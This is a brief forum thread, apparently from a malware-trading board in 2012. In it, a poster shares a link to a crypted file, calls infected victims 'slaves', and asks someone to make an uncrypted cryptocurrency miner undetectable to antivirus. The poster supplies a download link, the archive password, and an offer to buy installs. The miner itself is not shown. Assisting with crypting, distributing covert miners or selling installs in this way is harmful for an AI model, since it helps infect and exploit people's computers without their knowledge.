#YOLO - October 13, 2012, 10:25 am

Whoa! All of your links are so cool! I clicked, downloaded and ran everyone from above! The programs are so cool!

Systematic - October 13, 2012, 9:43 pm

You are SO AWESOME for doing this!

http://www.freefilehosting.net/crypted_1

It would be great if the slaves didnt have AVG or Norton.

As for giving something back, since this is a miner, if i see that it starts mining i'll make sure you get the alpha version of my email crawler as soon as my miner starts working. If you would like a partnership later to offer me installs and be my official vender please pm me.

If you're feeling extra awesome today and have an FUD crypter, could you please download the following un-crypted version of my miner and crypting that for me?

Download: <https://dl.dropbox.com/u/54469151/Miner.rar>

RAR password: 48386469381dbf9c444cc9f5fc1d0ff4

You wont believe how thankful I am for your free service!

vivastar - October 14, 2012, 4:07 am
